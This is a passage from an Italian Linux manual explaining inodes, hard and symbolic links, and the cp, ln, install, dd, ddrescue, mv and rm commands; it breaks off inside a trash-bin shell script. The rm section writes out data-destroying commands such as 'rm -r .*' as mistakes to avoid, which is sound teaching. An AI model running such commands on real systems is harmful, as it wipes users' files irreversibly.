Come si vede, con questa serie di operazioni si è giunti ad avere due file, apparentemente indipendenti, ma se viene modificato il contenuto di uno si vedono le modifiche anche nell'altro. Dal momento che i permessi e la proprietà dei file (UID e GID) sono informazioni contenute nell'inode, la modifica di questi si ripercuote su tutti i collegamenti.

Si può osservare il numero che appare dopo i permessi, due, che indica quanti riferimenti ha l'inode corrispondente. In pratica, quel numero indica quante voci puntano a quello stesso file. Non si può sapere facilmente quali siano gli altri riferimenti. Si può solo conoscere il numero dell'inode.

$ **ls -l -i mio_file tuo_file** [*Invio*]

```
270385 -rw-rw-r--   2 tizio    tizio           0 Mar  2 10:48 mio_file
270385 -rw-rw-r--   2 tizio    tizio           0 Mar  2 10:48 tuo_file
```

Come si vede, i due file hanno lo stesso inode (il numero che appare prima dei permessi), quindi **sono lo stesso file**.

22.11.3 Directory e collegamenti fisici

Ogni directory contiene due riferimenti convenzionali: uno a se stessa e uno alla directory genitrice ('`.`' e '`..`'). Si tratta di nomi di file a tutti gli effetti, i quali puntano agli inode della directory stessa e di quella precedente.

l'inode di una directory ha pertanto almeno due riferimenti: quello che serve a raggiungere la directory stessa, a partire dalla sua directory genitrice, e quello rappresentato dal punto singolo (la stessa directory).

Quando una directory ne contiene un'altra, allora il numero di riferimenti alla directory di partenza aumenta, perché la directory che si aggiunge ha un riferimento alla sua directory genitrice.

$ **mkdir miadir** [*Invio*]

$ **ls -l -d -i miadir** [*Invio*]

```
157715 drwxrwxr-x   2 tizio    tizio        1024 Mar  2 11:22 miadir
```

L'esempio mostra semplicemente il riferimento alla directory '`miadir/`' contenuto nella sua directory genitrice. Si può provare a leggere il contenuto della directory appena creata.

$ **cd miadir** [*Invio*]

$ **ls -l -i -a miadir** [*Invio*]

```
157715 drwxrwxr-x   2 tizio    tizio        1024 Mar  2 11:22 .
536615 drwxrwxr-x   3 tizio    tizio        3072 Mar  2 11:22 ..
```

Come si può osservare, il file indicato con un punto singolo ('`.`') ha lo stesso numero di inode della directory '`miadir/`', cosa che spiega il motivo per cui una directory ha almeno due riferimenti (collegamenti fisici).

La directory genitrice, rappresentata dai due punti in sequenza ('`..`'), ha tre riferimenti totali per il solo fatto che esiste questa directory (in pratica: i due riferimenti naturali, più questo, perché esiste questa directory).

Figura 22.66. Modello di esempio del comportamento dei collegamenti.

22.11.4 Errori comuni con i collegamenti simbolici

Quando si creano collegamenti fisici, gli argomenti del comando '**`ln`**' che rappresentano i file di origine, servono a individuare gli inode, a cui si vuole fare riferimento nella destinazione. Al contrario, quando si creano collegamenti simbolici, gli argomenti che rappresentano l'origine vengono trattati semplicemente come stringhe da riprodurre nei riferimenti della destinazione. Ignorando questo particolare, è facile fare degli errori senza comprenderne la ragione. Si osservino i comandi seguenti:

$ **cd** [*Invio*]

$ **pwd** [*Invio*]

```
/home/tizio
```

$ **mkdir prova** [*Invio*]

$ **cd prova** [*Invio*]

$ **pwd** [*Invio*]

```
/home/tizio/prova
```

$ **ln -s /bin/* .** [*Invio*]

Così facendo si creano dei collegamenti simbolici ai file e alle directory contenuti all'interno della directory '`/bin/`', con lo stesso nome che hanno nell'origine. Per esempio, il collegamento simbolico '`/home/tizio/prova/sh`' punta precisamente a '`/bin/sh`'. Si osservi invece la sequenza di comandi seguente:

$ **cd /bin** [*Invio*]

$ **pwd** [*Invio*]

```
/bin
```

$ **mkdir ~/prova** [*Invio*]

$ **ln -s * ~/prova** [*Invio*]

Se si va nella directory '`~/prova/`', si può osservare che i collegamenti puntano invece a loro stessi; per esempio, '`~/prova/sh`' punta a '`sh`', ovvero a nulla che possa servire. Infatti, quando si dà il comando '**`ln -s * ~/prova`**', si ottiene l'espansione dell'asterisco nell'elenco dei nomi (file e directory) contenuti nella directory corrente, i quali vengono usati tali e quali per la preparazione dei collegamenti. Pertanto, nella destinazione i collegamenti puntano poi ai loro stessi nomi.

22.11.5 Utilizzo di «cp»

Il programma di servizio '**`cp`**'[22] (*copy*) copia i file:

cp [*opzioni*] *origine destinazione*

cp [*opzioni*] *origine*... *directory*

Se vengono specificati solo i nomi di due file, il primo viene copiato sul secondo, viene cioè generata una copia che ha il nome indicato come destinazione. Se il secondo nome indicato

è una directory, il file viene copiato con lo stesso nome nella directory. Se vengono indicati più file, l'ultimo nome **deve** essere una directory e vengono generate le copie di tutti i file nella directory di destinazione. In mancanza di opzioni particolari, le directory non vengono copiate.

Nell'uso di '**`cp`**' occorre fare attenzione, perché si possono sovrascrivere altri file senza ottenere alcun preavviso. Per ridurre le possibilità di errori, conviene creare un alias in modo che '**`cp`**' funzioni sempre con l'opzione '**`-i`**'. Se poi si ha la necessità di sovrascrivere i file di destinazione, si può utilizzare l'opzione '**`-f`**'.

Tabella 22.70. Alcune opzioni di '**`cp`**' nella versione GNU. Le opzioni evidenziate sono conformi allo standard POSIX.

Opzione	Descrizione
`-a` `--archive`	Equivalente a '**`-dpR`**', utile per l'archiviazione o comunque per la copia di collegamenti simbolici così come sono.
`-b` `--backup`	Mantiene delle copie di sicurezza dei file che vengono sovrascritti con la copia.
`-d` `--no-dereference`	Copia i collegamenti simbolici mantenendoli come tali, invece di copiare i file a cui i collegamenti si riferiscono.
`-f` `--force`	Sovrascrittura forzata dei file di destinazione.
`-i` `--interactive`	Richiede una conferma per la sovrascrittura nel caso in cui esistano già dei file con i nomi uguali a quelli di destinazione della copia.
`-l` `--link`	Crea un collegamento fisico invece di copiare i file (non vale per le directory).
`-s` `--symbolic-link`	Crea un collegamento simbolico invece di copiare i file (non vale per le directory).

`-P`
`-d`
`--no-dereference`
	Copia i collegamenti simbolici come tali, invece di copiare i file a cui puntano.

`--parents`	Copia anche il percorso indicato nel file di origine.
`-p` `--preserve`	Mantiene le proprietà, le modalità dei permessi originali e le date originali.

Opzione	Descrizione
`-r`	Copia file e directory in modo ricorsivo (includendo le sottodirectory), considerando tutto ciò che non è una directory come un file normale. L'opzione '**-r**' è prevista dallo standard POSIX, ma viene considerata superata e candidata per l'eliminazione futura.

`-R`
 	
`--recursive`
	Copia file e directory in modo ricorsivo (includendo le sottodirectory).

`-S` ***suffisso_di_backup*** `--suffix=`***suffisso_di_backup***	Permette di definire il suffisso da utilizzare per le eventuali copie di sicurezza delle versioni precedenti. Se non viene specificato con questa opzione, si utilizza il simbolo contenuto nella variabile di ambiente ***SIMPLE_BACKUP_SUFFIX***. Se anche questa variabile non è stata predisposta, si utilizza il simbolo tilde ('**~**').
`-V` ***tipo_di_backup*** `--version-control=`***tipo_di_backup***	Permette di definire esplicitamente il modo con cui gestire le copie di sicurezza delle versioni precedenti, quando si usa anche l'opzione '**-b**'. Per la precisione cambia il tipo di estensione che viene aggiunto ai file: con '**t**' o '**numbered**' le copie di sicurezza hanno un'estensione numerata; con '**nil**' o '**existing**' si mantengono le copie di sicurezza solo per i file che hanno già una o più copie di sicurezza numerate; con '**never**' o '**simple**' si ottiene una copia di sicurezza semplice, costituita da una sola copia. Se questa opzione non viene indicata, si prende in considerazione il valore della variabile di ambiente ***VERSION_CONTROL***.

Tabella 22.71. Variabili di ambiente

Variabile	Descrizione
`VERSION_CONTROL`	Permette di definire la modalità di gestione delle copie di sicurezza delle versioni precedenti in modo predefinito. I valori attribuibili a questa variabile sono gli stessi utilizzati come argomento dell'opzione '**-V**'.
`SIMPLE_BACKUP_SUFFIX`	Definisce il simbolo da utilizzare come suffisso per i nomi dei file che rappresentano le copie di sicurezza.

Segue la descrizione di alcuni esempi.

- `$` **`cp -R /test/* ~/prova`** [*Invio*]

  Copia il contenuto della directory '`/test/`' in '`~/prova/`', copiando anche eventuali sottodirectory contenute in '`/test/`'.

- `$` **`cp -R /test ~/prova`** [*Invio*]

  Copia la directory '`/test/`' in '`~/prova/`' (attaccando '`test/`' a '`~/prova/`'), copiando anche eventuali sottodirectory contenute in '`/test/`'.

- `$` **`cp --parents aa/bb/cc miadir`** [*Invio*]

Copia il file 'aa/bb/cc' in modo da ottenere 'miadir/aa/bb/cc'. Le directory intermedie, eventualmente mancanti, vengono create.

- $ **cp --no-dereference /test/* ~/prova** [*Invio*]

  Copia il contenuto della directory '/test/' in '~/prova/', riproducendo i collegamenti simbolici così come sono nell'origine.

È molto importante comprendere la differenza tra le opzioni '**-r**' e '**-R**'. La seconda è quella che rappresenta meglio la ricorsività della copia, perché la prima tratta i file FIFO e alcuni file speciali come file normali. Per comprendere la cosa, si può procedere con l'esempio seguente, in cui si crea prima una directory, all'interno della quale si inserisce un file FIFO:

$ **mkdir prova_1** [*Invio*]

$ **mknod coda p** [*Invio*]

In questo modo, si ottiene il file FIFO 'prova_1/coda'. Volendo copiare la directory 'prova_1' in 'prova_2', includendo il file FIFO 'coda', si deve procedere nel modo seguente:

$ **cp -R prova_1 prova_2** [*Invio*]

Al contrario, utilizzando l'opzione '**-r**', la copia non si concluderebbe, perché questa resterebbe in attesa di dati dal file 'prova_1/coda', come se fosse un file normale, per generare un file 'prova_2/coda' (di tipo normale), con tale contenuto.

22.11.6 Utilizzo di «ln»

Il programma di servizio '**ln**'[23] (*link*) crea un collegamento tra file o tra directory:

```
ln [opzioni] origine destinazione
```

```
ln [opzioni] origine... directory
```

Se viene specificata un'origine e una destinazione, questa ultima diventa il nuovo collegamento che punta al nome indicato come origine (e può trattarsi anche di una directory). Se vengono specificati più nomi nell'origine, l'ultimo argomento deve essere una directory e si intende che al suo interno devono essere creati tanti collegamenti quanti sono i nomi indicati come origine. Se non viene specificato diversamente attraverso le opzioni, vengono creati dei collegamenti fisici e non dei collegamenti simbolici.

Il programma '**ln**' utilizza le variabili di ambiente ***VERSION_CONTROL*** e ***SIMPLE_BACKUP_SUFFIX*** nello stesso modo di '**cp**'.

Tabella 22.72. Alcune opzioni della versione GNU di '**ln**'. Le opzioni conformi allo standard POSIX sono evidenziate.

Opzione	Descrizione

`-b`
`--backup`
`-f`
`--force`
`-i`
`--interactive`
`-S`
`--suffix`
`-V`
`--version-control`
	Queste opzioni funzionano nello stesso modo di '**cp**'.

`-s` `--symbolic-link`	Crea un collegamento simbolico invece di creare un collegamento fisico.

`-d`
`-F`
`--directory`
	Permette all'utente '**root**' di creare un collegamento fisico per una directory, ma questa operazione potrebbe essere impedita poi dal kernel.

`-n` `--no-dereference`	Quando la destinazione corrisponde a un collegamento simbolico preesistente che punta verso una directory, il funzionamento normale prevederebbe la creazione del collegamento in quella directory. Usando questa opzione si intende evitare ciò, rimpiazzando quel collegamento simbolico. Per poter attuare in pratica la cosa, occorre anche utilizzare l'opzione '**-f**'.

Segue la descrizione di alcuni esempi.

- `$` **`ln -s /bin/ls ~/elenco`** [*Invio*]

  Crea il collegamento simbolico '`elenco`', all'interno della directory personale, il quale punta a '`/bin/ls`'. Eseguendo il file '`~/elenco`' si ottiene in pratica di eseguire il comando '**ls**'.

- `$` **`ln /bin/ls ~/elenco`** [*Invio*]

  Crea il collegamento fisico '`elenco`', all'interno della directory personale, il quale punta a '`/bin/ls`'. Eseguendo il file '**~/elenco**' si ottiene in pratica di eseguire il comando '**ls**'.

- `$` **`ln -s /bin/* ~/`** [*Invio*]

Crea dei collegamenti simbolici all'interno della directory personale per tutti i file contenuti in '`/bin`'. Per ogni collegamento simbolico che viene creato, il percorso di questo risulta assoluto e inizia con '`/bin/`'.

- `$ cd /bin ; ln -s * ~/` [*Invio*]

  In questo esempio, rispetto a quanto mostrato in quello precedente, il comando di creazione dei collegamenti simbolici viene dato nel momento in cui ci si trova nella directory '`/bin/`', in riferimento a tutti i file della stessa. Quello che si ottiene nella directory personale dell'utente è la creazione di collegamenti simbolici diretti a loro stessi e **perfettamente inutili**.

- `$ ln -s /bin ~/binari` [*Invio*]

  Crea il collegamento simbolico '`~/binari`' alla directory '`/bin/`'. In questo modo, eseguendo '**`cd ~/binari`**' ci si ritrova in pratica in '`/bin/`'.

22.11.7 Utilizzo di «install»

Il programma di servizio '**`install`**'[24] copia i file attribuendo i permessi e le proprietà stabilite:

```
install [opzioni] origine... destinazione
```

```
install [opzioni] -d directory...
```

In pratica, si comporta in modo simile a '**`cp`**' con in più la possibilità di definire gli attributi dopo la copia e di creare tutte le directory necessarie. È usato tipicamente per l'installazione di programmi.

Tabella 22.73. Alcune opzioni di '**`install`**' nella versione GNU. Benché si tratti di un programma di uso comune, non fa parte dello standard POSIX.

Opzione	Descrizione

`-b`
`--backup`
`-S`
`--suffix`
`-V`
`--version-control`
	Queste opzioni funzionano nello stesso modo di '**`cp`**'.

`-d` ***directory...*** `--directory=`***directory...***	Crea le directory indicate, definisce l'utente proprietario, il gruppo proprietario e i permessi in base alle altre opzioni.

Opzione	Descrizione
`-g` ***gruppo*** `--group=`***gruppo***	Definisce il gruppo proprietario dei file installati o delle directory.
`-m` ***modalità*** `--mode=`***modalità***	Definisce i permessi in modo analogo alla sintassi di '**`chmod`**' (22.7.3).
`-o` ***proprietario*** `--owner=`***proprietario***	Definisce l'utente proprietario dei file installati o delle directory.

22.11.8 Utilizzo di «dd»

Il programma di servizio '**`dd`**'[25] (*data duplicator* o *data dump*) è un programma di copia a basso livello:

```
dd [opzioni]
```

Le opzioni sono definite in modo strano rispetto ai normali programmi di servizio Unix, in quanto non sono prefissate dal solito trattino ('**`-`**'). Se tra le opzioni non vengono definiti i file di input o di output, si usano rispettivamente lo standard input e lo standard output.

Molte delle opzioni utilizzano un argomento numerico. Questi argomenti numerici possono essere indicati anche con l'ausilio di moltiplicatori posti subito dopo il numero stesso. La tabellina seguente riepiloga quelli di uso più comune nella versione GNU di '**`dd`**'; tenendo conto che sono disponibili altri moltiplicatori molto più grandi. I casi previsti anche dallo standard POSIX sono evidenziati:

Modello	Valore corrispondente in byte	Modello	Valore corrispondente in byte
n`c`	***n***	***n***`w`	***n*** * 2
n`b`	***n*** * 512	***n***`x`***m***	***n*** * ***m***
n`kB`	***n*** * 1000	***n***`k` ***n***`K`	***n*** * 1024
n`MB`	***n*** * 1000^2	***n***`M`	***n*** * 1024^2
n`GB`	***n*** * 1000^3	***n***`G`	***n*** * 1024^3
n`TB`	***n*** * 1000^4	***n***`T`	***n*** * 1024^4

Tabella 22.75. Alcune opzioni, secondo lo standard POSIX

Opzione	Descrizione
`if=`***file***	*input file* Legge i dati dal file indicato invece che dallo standard input.
`of=`***file***	*output file* Scrive i dati nel file indicato invece che attraverso lo standard output. In questo caso, se il file indicato esiste già e la quantità di dati da scrivere è inferiore alla sua vecchia dimensione, questo file viene troncato alla dimensione nuova. Ma la regola non vale più se si utilizza un tipo di conversione '**`notrunc`**' (viene descritto in un'altra tabella).
`ibs=`***numero_di_byte***	*input block size* Legge a blocchi di byte della quantità indicata dall'argomento.
`obs=`***numero_di_byte***	*output block size* Scrive a blocchi di byte della quantità indicata dall'argomento.
`bs=`***numero_di_byte***	*block size* Legge e scrive a blocchi di byte della quantità indicata dall'argomento. Questa opzione annulla eventuali dichiarazioni fatte attraverso '**`ibs`**' e '**`obs`**'.
`cbs=`***numero_di_byte***	*conversion block size* Definisce la dimensione della memoria di conversione (*buffer*). In pratica determina la dimensione del blocco da utilizzare quando si devono effettuare delle conversioni nella codifica. Più avanti viene mostrato il significato di questa opzione, in corrispondenza della descrizione dei tipi di conversione attuabili.
`skip=`***numero_di_blocchi***	In fase di lettura del file di input, salta il numero di blocchi indicato come argomento, dall'inizio del file, prima di iniziare la copia. I blocchi in questione corrispondono a quanto definito con '**`ibs`**' o con '**`bs`**'.
`seek=`***numero_di_blocchi***	In fase di scrittura del file di output, salta il numero di blocchi indicato come argomento prima di iniziare la copia. I blocchi in questione corrispondono a quanto definito con '**`obs`**' o con '**`bs`**'. Il risultato dell'azione di saltare dei blocchi in fase di scrittura cambia a seconda che il file di destinazione sia già esistente o meno. Se il file esiste già, i byte dei blocchi saltati vengono lasciati inalterati e nel file si comincia a scrivere dopo la posizione indicata: se poi il file è troppo corto, questo viene allungato. Se il file non esiste, i byte dei blocchi da saltare vengono scritti con un valore nullo (*<NUL>*, pari a 00_{16}).
`count=`***numero_di_blocchi***	Determina la quantità di blocchi da scrivere: si tratta di blocchi di input e quindi di quelli definiti attraverso l'opzione '**`ibs`**' o '**`bs`**'. Senza l'indicazione di questa opzione, la copia è sempre completa (a meno che si saltino delle porzioni con l'opzione '**`skip`**').
`conv=`***conversione*** [***, conversione***]...	Permette di definire il tipo di conversione, anche attraverso passaggi successivi. Il tipo di conversione viene specificato con il nome che lo identifica. Se si intendono applicare passaggi successivi, i tipi di conversione si separano con una virgola senza spazi prima o dopo la stessa.

Tabella 22.76. Tipi di conversione conformi allo standard POSIX.

Tipo	Descrizione
`ascii`	Converte dalla codifica EBCDIC a ASCII.
`ebcdic`	Converte dalla codifica ASCII a EBCDIC.
`ibm`	Converte dalla codifica ASCII-IBM a EBCDIC.
`block`	Tratta le righe di ingresso come record terminati dal codice di interruzione di riga. Questi record vengono troncati o allungati in modo da corrispondere alla dimensione indicata attraverso l'opzione '**`cbs`**'. Alla fine, i codici di interruzione di riga risultano trasformati in spazi normali (<*SP*>), a meno che i record non siano stati troncati prima; inoltre, se si è reso necessario un allungamento dei record, è sempre il carattere spazio a essere aggiunto. In pratica, il risultato finale è quello di un file con i record di dimensione uguale e per questo senza più alcuna terminazione attraverso codici di interruzione di riga.
`unblock`	Esegue l'operazione opposta di '**`block`**': il file in ingresso viene letto a blocchi di dimensione stabilita attraverso l'opzione '**`cbs`**' e gli spazi finali di ogni blocco vengono sostituiti con il codice di interruzione di riga.
`lcase`	*lower case* Trasforma le lettere maiuscole in minuscole.
`ucase`	*upper case* Trasforma le lettere minuscole in maiuscole.
`swab`	*swap byte* Scambia le coppie di byte: ciò può essere utile quando i dati in questione sono interi a 16 bit da trasformare in, o da, una piattaforma Intel. (Nelle piattaforme Intel, gli interi a 16 bit sono scritti in modo da invertire la sequenza normale dei due byte che si utilizzano).
`noerror`	Nel caso si verifichi un errore di lettura, continua ugualmente l'operazione.
`notrunc`	Il file in uscita non viene troncato. Questo argomento è utile nel caso si scriva su file già esistenti: se dopo la trasformazione che si fa, la dimensione dei dati in uscita è inferiore a quella che ha già il file su cui si scrive, i dati rimanenti si lasciano come sono senza ridurre la dimensione di questo file.
`sync`	Aggiusta la lunghezza di ogni blocco in ingresso, aggiungendo eventualmente il carattere <*NUL*> (00_{16}), in modo che la sua dimensione sia uguale a quanto stabilito attraverso l'opzione '**`ibs`**'.

Il programma '**`dd`**' viene usato normalmente per riprodurre le immagini di unità di memorizzazione di massa, anche se nella maggior parte dei casi, con un sistema GNU/Linux è sufficiente usare '**`cp`**'. A questo proposito, vengono mostrati alcuni esempi riferiti ai vecchi dischetti da 1440 Kibyte.

- `#` **`dd if=disk.img of=/dev/fd0`** [*Invio*]

  In questo caso si trasferisce semplicemente il file '`disk.img`' nel dischetto (inizializzato

precedentemente a bassi livello). Nessun'altra indicazione è stata data, per cui si presume che il file sia adatto al formato di dischetto che si sta utilizzando.

- `# dd if=disk.img of=/dev/fd0 obs=18k` [*Invio*]

  Rispetto all'esempio precedente, si immagina di avere a disposizione un dischetto da 1440 Kibyte (e naturalmente che il file-immagine sia adatto a questo tipo di dischetto). Un dischetto da 90 mm (3,5 pollici) con questo formato era composto da cilindri contenenti 18 + 18 settori di 512 Kibyte: 2 * 18 * 512 = 18 Kibyte. Specificando l'opzione '**`obs=18k`**' si intende fare in modo che '**`dd`**' fornisca al dispositivo '`/dev/fd0`' blocchi di quella dimensione per facilitare l'operazione di scrittura.

- `# dd if=disk.img of=/dev/fd0 obs=18k count=80` [*Invio*]

  Rispetto all'esempio precedente, viene specificato il numero di blocchi da scrivere: 80, pari al numero dei cilindri. In questo modo, se il file in ingresso fosse più grande, non ci sarebbe alcun tentativo di superare tale limite.

22.11.9 Utilizzo di «ddrescue»

Il programma di servizio '**`ddrescue`**'[26] è analogo a '**`dd`**', con la differenza fondamentale che la copia non si arresta in presenza di errori di lettura, pertanto viene usato principalmente per il recupero dei dati da unità di memorizzazione difettose:

`ddrescue` [*opzioni*] *file_in_ingresso* *file_in_uscita* [*registro*]

La sintassi per l'uso di questo programma è diversa rispetto al '**`dd`**' tradizionale, in quanto utilizza opzioni precedute da trattini, come avviene di solito, inoltre prevede la possibilità di associare un file per annotare l'esito del processo di recupero dati (l'ultimo nome opzionale che appare nella riga di comando).

Tabella 22.77. Alcune opzioni per l'uso di '**`ddrescue`**'.

Opzione	Descrizione
`-b` ***n_byte*** `--block-size=`***n_byte***	Dichiara la dimensione dei blocchi da usare in fase di lettura. Il valore predefinito è di 512 byte per le unità di memorizzazione normali e 2048 byte per i dischi ottici.
`-c` ***n*** `--cluster-size=`***n***	Richiede la lettura simultanea di ***n*** blocchi (***n*** volte la dimensione del blocco stabilita con l'opzione '**`-b`**'). Per esempio, per la lettura di dischetti convengono blocchi da 18 unità, in quanto un dischetto comune è composto da tracce da 18 settori (i settori, in questo caso, sono da 512 byte). Il valore predefinito di questi blocchi di lettura è complessivamente di 64 Kibyte, ovvero 64 Kibyte diviso il valore specificato con l'opzione '**`-b`**'.
`-i` ***n*** `--input-position=`***n***	Richiede di iniziare la lettura a partire dal byte ***n***; se non viene specificato, si intende che l'inizio debba avvenire dalla posizione zero.
`-o` ***n*** `--output-position=`***n***	Richiede di iniziare la scrittura a partire dal byte ***n*** nel file di destinazione; se non viene specificato, si intende lo stesso valore dell'opzione '**`-i`**'.

Opzione	Descrizione
`-r` ***n*** `--max-retries=`***n***	Richiede di ritentare ***n*** volte (oltre la prima lettura), se si presenta un errore. Il valore predefinito per questa opzione è zero, nel senso che si tenta una sola lettura; se si usa il valore −1, si intende richiedere una quantità infinita di tentativi.

Gli argomenti delle opzioni che rappresentano una quantità di byte, come nel caso di '**`-c`**', '**`-i`**' e '**`-o`**', consentono l'uso di suffissi che moltiplicano il valore numerico rappresentato per un valore costante dato, in un modo simile a quello che avviene per il programma '**`dd`**'; tuttavia, le sigle usate non sono sempre compatibili.

Tabella 22.78. Rappresentazione di valori numerici che esprimono una quantità di byte, con l'ausilio di moltiplicatori, nelle opzioni di '**`ddrescue`**' (nella versione GNU). Sono disponibili anche altri moltiplicatori, per valori molto più grandi.

Modello	Valore corrispondente in byte	Modello	Valore corrispondente in byte
		n`b`	***n*** blocchi fisici, in base alle caratteristiche dell'unità di memorizzazione.
n`k`	***n*** * 1000	***n***`Ki`	***n*** * 1024
n`M`	***n*** * 1000^2	***n***`Mi`	***n*** * 1024^2
n`G`	***n*** * 1000^3	***n***`Gi`	***n*** * 1024^3
n`T`	***n*** * 1000^4	***n***`Ti`	***n*** * 1024^4

Segue la descrizione di alcuni esempi.

- `#` **`ddrescue /dev/sdc immagine registro.log`** [*Invio*]

  Legge il contenuto di '`/dev/sdc`', per produrre il file '`immagine`', memorizzando le annotazioni sul procedimento nel file '`registro.log`'.

- `#` **`ddrescue -r 3 /dev/sdc immagine registro.log`** [*Invio*]

  Come nell'esempio precedente, legge il contenuto di '`/dev/sdc`', per produrre il file '`immagine`', memorizzando le annotazioni sul procedimento nel file '`registro.log`'. Ma in più si richiede che i tentativi di lettura in caso di errori vengano ritentati per tre volte.

Quando si dispone di più copie di unità di memorizzazione identiche (per esempio dei dischi ottici) che risultano danneggiate in modo differente, è possibile riavviare il procedimento di recupero facendo riferimento allo stesso file di destinazione e lo stesso file per le annotazioni. Il programma '**`ddrescue`**', nei tentativi successivi, si occupa di leggere solo le porzioni di dati che in quelli precedenti non hanno prodotto un risultato soddisfacente.

Quando si vuole recuperare il contenuto di una partizione di un'unità di memorizzazione comune, occorre tenere presente che questa non deve essere innestata, o almeno occorre avere l'accortezza di utilizzarla in sola lettura. Dopo il recupero in un file-immagine, si procede normalmente con programmi come '**`fsck`**' per cercare di sistemare in qualche modo il file-immagine stesso, prima di riutilizzarlo.

Altri programmi affini.

sdd(1)[27]	Si tratta di un programma simile, dal punto di vista funzionale, a '**dd**', adatto in particolare al trasferimento integrale di dischi interi.
cstream(1)[28]	Si tratta di un programma simile, dal punto di vista funzionale, a '**dd**', ma con una sintassi completamente diversa, che ha in più la capacità di limitare il flusso di dati a un valore stabilito (per flusso di dati si intende la quantità di dati trasmessa per unità di tempo).

22.12 Spostamento e cancellazione

Lo spostamento è una sorta di copia e cancellazione dell'originale. Attraverso questo meccanismo si ottiene anche il cambiamento del nome di file e directory: un cambiamento di nome puro e semplice non è possibile. Questo fatto deve essere considerato quando si valutano le conseguenze dei permessi attribuiti ai file e alle directory; inoltre, occorre tenere in considerazione il problema quando si valuta l'eventuale pericolosità di questo tipo di operazione: cambiare nome a un file in modo errato può provocare la sovrascrittura di un altro.

La cancellazione è sempre l'operazione più pericolosa. Nei file system Second-extended non è facile recuperare i dati cancellati. Piuttosto di cancellare, sarebbe meno pericoloso spostare temporaneamente i file in una directory che funge da cestino. Nella sezione 22.12.3 viene mostrato uno script in grado di gestire agevolmente una sorta di cestino del genere.

La cancellazione si ottiene normalmente eliminando la voce relativa all'interno di una directory e liberando l'inode corrispondente, mentre l'informazione rimane presente fino a quando lo stesso spazio viene riutilizzato nel disco. Quando si devono cancellare anche le tracce residue di un'informazione, occorre usare strumenti appositi che, prima di cancellare un file, lo sovrascrivono varie volte con dati più o meno casuali. Tuttavia, questa tecnica non funziona se la memoria di massa è organizzata in modo diverso dal solito per qualche fine, come può essere un sistema ridondante, un sistema che mantiene lo storico di tutti i cambiamenti apportati al file system o un sistema che si avvale della rete per la condivisione degli stessi dati.

22.12.1 Utilizzo di «mv»

Il programma di servizio '**mv**'[29] (*move*) sposta i file o le directory:

mv [***opzioni***] ***origine***... ***destinazione***

Se vengono specificati solo i nomi di due elementi (file o directory), il primo viene spostato o rinominato in modo da ottenere quanto indicato come destinazione. Se vengono indicati più elementi (file o directory), l'ultimo argomento **deve** essere una directory, all'interno della quale vengono spostati tutti gli elementi elencati. Nel caso di spostamenti attraverso diversi file system, vengono spostati solo i file normali, quindi: né collegamenti, né directory.

Il programma '**mv**' può essere pericoloso perché può sovrascrivere altri file senza preavviso. Per ridurre le possibilità di errori, conviene creare un alias in modo che '**mv**' funzioni sempre con l'opzione '**-i**'. Se poi si ha la necessità di sovrascrivere i file di destinazione, si può sempre utilizzare l'opzione '**-f**'.

Tabella 22.80. Alcune opzioni di '**mv**', nella versione GNU. Le opzioni conformi allo standard POSIX sono evidenziate.

Opzione	Descrizione

`-b`
`--backup`
`-f`
`--force`
`-i`
`--interactive`
`-S`
`--suffix`
`-V`
`--version-control`
	Queste opzioni funzionano nello stesso modo di '**cp**'.

22.12.2 Utilizzo di «rm»

Il programma di servizio '**rm**'[30] (*remove*) rimuove i file indicati come argomento:

rm [***opzioni***] ***nome***...

In mancanza dell'indicazione delle opzioni necessarie, non vengono rimosse le directory.

Tabella 22.81. Alcune opzioni di '**rm**', nella versione GNU. Le opzioni conformi allo standard POSIX sono evidenziate.

Opzione	Descrizione

`-r`
`-R`
`--recursive`
	Rimuove il contenuto delle directory in modo ricorsivo.

`-i` `--interactive`	Chiede una conferma esplicita per la cancellazione di ogni file.

Opzione	Descrizione
-d --directory	Elimina le directory trattandole come se fossero dei file normali. In pratica, i file e le altre directory che dovessero eventualmente essere contenuti, non vengono rimossi prima: viene semplicemente interrotto il loro collegamento. L'operazione può essere pericolosa perché ci potrebbero essere dei file aperti al di sotto di queste directory che si rimuovono, senza che tale possibilità venga verificata. Inoltre, dopo un'azione di questo tipo, il file system deve essere controllato in modo da eliminare gli errori che si generano: la presenza di file senza riferimenti è un errore.
-f --force	Ignora l'eventuale assenza di file per i quali si richiede la cancellazione e non chiede conferme all'utente. Può essere utile quando si prepara uno script e non è importante se ciò che si cancella esiste già o meno.

Segue la descrizione di alcuni esempi.

- `$ rm prova` [*Invio*]

  Elimina il file '`prova`'.

- `$ rm ./-r` [*Invio*]

  Elimina il file '`-r`' che inizia il suo nome con un trattino, senza confondersi con l'opzione '**`-r`**' (ricorsione).

- `$ rm -r ~/varie` [*Invio*]

  Elimina la directory '`varie/`' che risiede nella directory personale dell'utente, insieme a tutte le sue eventuali sottodirectory.

Il programma '**`rm`**' è pericolosissimo perché è potente e irreversibile. Gli errori più frequenti e disastrosi, sono causati da sbagli nella digitazione dei comandi o da cattiva valutazione dell'effetto di uno di questi. Ci sono tre cose da fare per ridurre i rischi di disastri:

- evitare il più possibile di accedere come utente '**`root`**';
- controllare il comando che si vuole eseguire;
- creare un alias in modo che '**`rm`**' funzioni sempre con l'opzione '**`-i`**'.

Gli errori più frequenti **da evitare** sono descritti negli esempi seguenti.

- `$ rm prova *` [*Invio*]

  Probabilmente, l'intenzione è quella di eliminare solo i file che iniziano con la parola '**`prova`**', mentre in realtà viene inserito uno spazio involontario tra '**`prova`**' e l'asterisco. In tal modo, prima viene cancellato il file '`prova`' e subito dopo tutto quello che si trova nella directory corrente.

- `$ rm -r .*` [*Invio*]

  L'intenzione sembra essere quella di eliminare tutti i file e le directory nascoste (tutto ciò che inizia con un punto) contenute nella directory corrente. In realtà si individuano sì i file

e le directory nascoste, ma con esse anche la directory corrente ('`.`') e quella precedente, ovvero la genitrice ('`..`')! A meno che il programma '**`rm`**' preveda espressamente questi casi in modo da evitare danni, si può ottenere la rimozione della directory corrente e anche della genitrice stessa.

Si osservi che spesso la directory personale dell'utente '**`root`**' è '`/root/`'; se il comando appena mostrato viene dato da tale posizione, il cancellare la directory precedente (con tutto il suo contenuto), significa fare riferimento alla directory radice e quindi a **tutto il file system**.

22.12.3 Cestino personale

Il modo migliore per non sbagliare utilizzando '**`rm`**' è quello di non usarlo. Quello che segue è un esempio di uno script che invece di cancellare sposta i file e le directory in una sorta di cestino:

```
#!/bin/sh
##
## ricicla FILE...
##
#
# nome_completo NAME
#
function nome_completo () {
    #
    local primo_carattere
    local comando_sed
    comando_sed="sed -n s/^\\(.\\).*/\\1/p"
    #
    primo_carattere=`echo $1 | $comando_sed`
    #
